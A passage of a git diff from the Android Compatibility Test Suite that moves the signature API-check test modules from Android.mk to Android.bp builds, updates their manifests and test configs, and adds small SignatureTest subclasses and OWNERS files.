+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestRunnerCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-base-current-txt",
+        ":cts-android-test-mock-current-txt",
+        ":cts-android-test-runner-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.mk b/tests/signature/api-check/android-test-runner-current-api/Android.mk
deleted file mode 100644
index d840506..0000000
--- a/tests/signature/api-check/android-test-runner-current-api/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestRunnerCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-mock-current.api \
-    android-test-runner-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
index f81665e..fd030be 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -16,11 +16,14 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_runner_current">
+          package="android.signature.cts.api.android_test_runner_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application android:debuggable="true">
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true">
         <uses-library android:name="android.test.runner"/>
     </application>
 
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index 53bed33..77809ba 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -16,16 +16,8 @@
 <configuration description="Config for CTS Android Test Runner Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
@@ -33,8 +25,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.android_test_runner_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="class" value="android.signature.cts.api.current.runner.SignatureTest" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/OWNERS b/tests/signature/api-check/android-test-runner-current-api/OWNERS
new file mode 100644
index 0000000..aaadab7
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../android-test-base-current-api/OWNERS
diff --git a/tests/signature/api-check/android-test-runner-current-api/src/android/signature/cts/api/current/runner/SignatureTest.java b/tests/signature/api-check/android-test-runner-current-api/src/android/signature/cts/api/current/runner/SignatureTest.java
new file mode 100644
index 0000000..65f43ec
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/src/android/signature/cts/api/current/runner/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.current.runner;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
new file mode 100644
index 0000000..0c53a34
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpLegacy27ApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-apache-http-legacy-current-txt",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk b/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
deleted file mode 100644
index 0f2161a..0000000
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacy27ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    apache-http-legacy-minus-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
index ae69f52..4f32045 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
@@ -16,13 +16,14 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.apache_http_legacy_27">
+          package="android.signature.cts.api.apache_http_legacy_27"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="27"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
 
-    <application/>
+    <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.apache_http_legacy_27"
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index 3bbc90e..828926f 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -16,16 +16,8 @@
 <configuration description="Config for CTS Apache Http Legacy 27 API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-minus-current.api->/data/local/tmp/signature-test/apache-http-legacy-minus-current.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacy27ApiSignatureTestCases.apk" />
@@ -33,9 +25,9 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-minus-current.api" />
+        <option name="class" value="android.signature.cts.api.api27.http.SignatureTest" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/src/android/signature/cts/api/api27/http/SignatureTest.java b/tests/signature/api-check/apache-http-legacy-27-api/src/android/signature/cts/api/api27/http/SignatureTest.java
new file mode 100644
index 0000000..7c14ec1
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-27-api/src/android/signature/cts/api/api27/http/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.api27.http;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
new file mode 100644
index 0000000..e589ab3
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpLegacyCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-apache-http-legacy-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
deleted file mode 100644
index b382698..0000000
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    apache-http-legacy-minus-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
index f0fb7d8..7e75171 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -16,11 +16,14 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.apache_http_legacy_current">
+          package="android.signature.cts.api.apache_http_legacy_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application android:debuggable="true"/>
+    <application android:debuggable="true"
+                 android:extractNativeLibs="true"
+                 android:largeHeap="true"/>
 
     <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
                      android:targetPackage="android.signature.cts.api.apache_http_legacy_current"
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 418c881..4b0df13 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -16,13 +16,8 @@
 <configuration description="Config for CTS Apache Http Legacy Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-minus-current.api->/data/local/tmp/signature-test/apache-http-legacy-minus-current.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
@@ -30,8 +25,8 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-minus-current.api" />
+        <option name="class" value="android.signature.cts.api.current.http.SignatureTest" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/OWNERS b/tests/signature/api-check/apache-http-legacy-current-api/OWNERS
new file mode 100644
index 0000000..aaadab7
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../android-test-base-current-api/OWNERS
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/src/android/signature/cts/api/current/http/SignatureTest.java b/tests/signature/api-check/apache-http-legacy-current-api/src/android/signature/cts/api/current/http/SignatureTest.java
new file mode 100644
index 0000000..582e5da
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/src/android/signature/cts/api/current/http/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.current.http;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
new file mode 100644
index 0000000..794a952
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-apache-http-legacy-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk
deleted file mode 100644
index 1d801c5..0000000
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    apache-http-legacy-minus-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
index f759c54..cfd69f3 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.apache_http_legacy_uses_library">
+          package="android.signature.cts.api.apache_http_legacy_uses_library"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <application>
+    <application android:extractNativeLibs="true" android:largeHeap="true">
         <uses-library android:name="org.apache.http.legacy"/>
     </application>
 
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index bd2c566..f45d52c 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -16,16 +16,8 @@
 <configuration description="Config for CTS Apache Http Legacy UsesLibrary API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-minus-current.api->/data/local/tmp/signature-test/apache-http-legacy-minus-current.api" />
-    </target_preparer>
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases.apk" />
@@ -33,9 +25,9 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts.api.apache_http_legacy_uses_library" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
-        <option name="class" value="android.signature.cts.api.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-minus-current.api" />
+        <option name="class" value="android.signature.cts.api.http_uses_library.SignatureTest" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/OWNERS b/tests/signature/api-check/apache-http-legacy-uses-library-api/OWNERS
new file mode 100644
index 0000000..aaadab7
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 24949
+include ../android-test-base-current-api/OWNERS
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/src/android/signature/cts/api/http_uses_library/SignatureTest.java b/tests/signature/api-check/apache-http-legacy-uses-library-api/src/android/signature/cts/api/http_uses_library/SignatureTest.java
new file mode 100644
index 0000000..b8b94cf
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/src/android/signature/cts/api/http_uses_library/SignatureTest.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.api.http_uses_library;
+
+public class SignatureTest extends android.signature.cts.api.SignatureTest {
+}
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
index a5ebcf8..98ff55f 100644
--- a/tests/signature/api-check/build_signature_apk.mk
+++ b/tests/signature/api-check/build_signature_apk.mk
@@ -33,12 +33,38 @@
 LOCAL_JNI_SHARED_LIBRARIES += libclassdescriptors
 LOCAL_MULTILIB := both
 
-LOCAL_ADDITIONAL_DEPENDENCIES += \
-    $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(LOCAL_SIGNATURE_API_FILES))
+# Add dependencies needed to build/run the test with atest.
+#
+# Converts:
+#     current.api -> $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/cts-current-txt/gen/current.txt
+
+# Construct module name directory from file name, matches location of output of genrules
+# in ../api/Android.bp.
+#   Replace . with -
+#   Prefix every entry with cts-
+#
+cts_signature_module_deps := $(LOCAL_SIGNATURE_API_FILES)
+cts_signature_module_deps := $(subst .,-,$(cts_signature_module_deps))
+cts_signature_module_deps := $(addprefix cts-,$(cts_signature_module_deps))
+
+# Construct path to the generated files and add them as java resources.
+cts_signature_module_resources := $(addprefix $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/,$(cts_signature_module_deps))
+cts_signature_module_resources := $(addsuffix /gen/,$(cts_signature_module_resources))
+cts_signature_module_resources := $(join $(cts_signature_module_resources),$(LOCAL_SIGNATURE_API_FILES))
+
+LOCAL_JAVA_RESOURCE_FILES += $(cts_signature_module_resources)
 
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
+LOCAL_USE_EMBEDDED_NATIVE_LIBS := false
+
+ifneq (,$(wildcard $(LOCAL_PATH)/src))
+  LOCAL_SRC_FILES := $(call all-java-files-under, src)
+endif
+
 include $(BUILD_CTS_PACKAGE)
 
 LOCAL_SIGNATURE_API_FILES :=
+cts_signature_module_resources :=
+cts_signature_module_deps :=
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
new file mode 100644
index 0000000..1ca5d11
--- /dev/null
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-android-test-base-current-txt",
+        ":cts-android-test-mock-current-txt",
+        ":cts-android-test-runner-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/current-api/Android.mk b/tests/signature/api-check/current-api/Android.mk
deleted file mode 100644
index 0e7997d..0000000
--- a/tests/signature/api-check/current-api/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    android-test-mock-current.api \
-    android-test-runner-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/current-api/AndroidManifest.xml b/tests/signature/api-check/current-api/AndroidManifest.xml
index d6f474b..aa6e6c5 100644
--- a/tests/signature/api-check/current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/current-api/AndroidManifest.xml
@@ -16,11 +16,14 @@
  -->
 
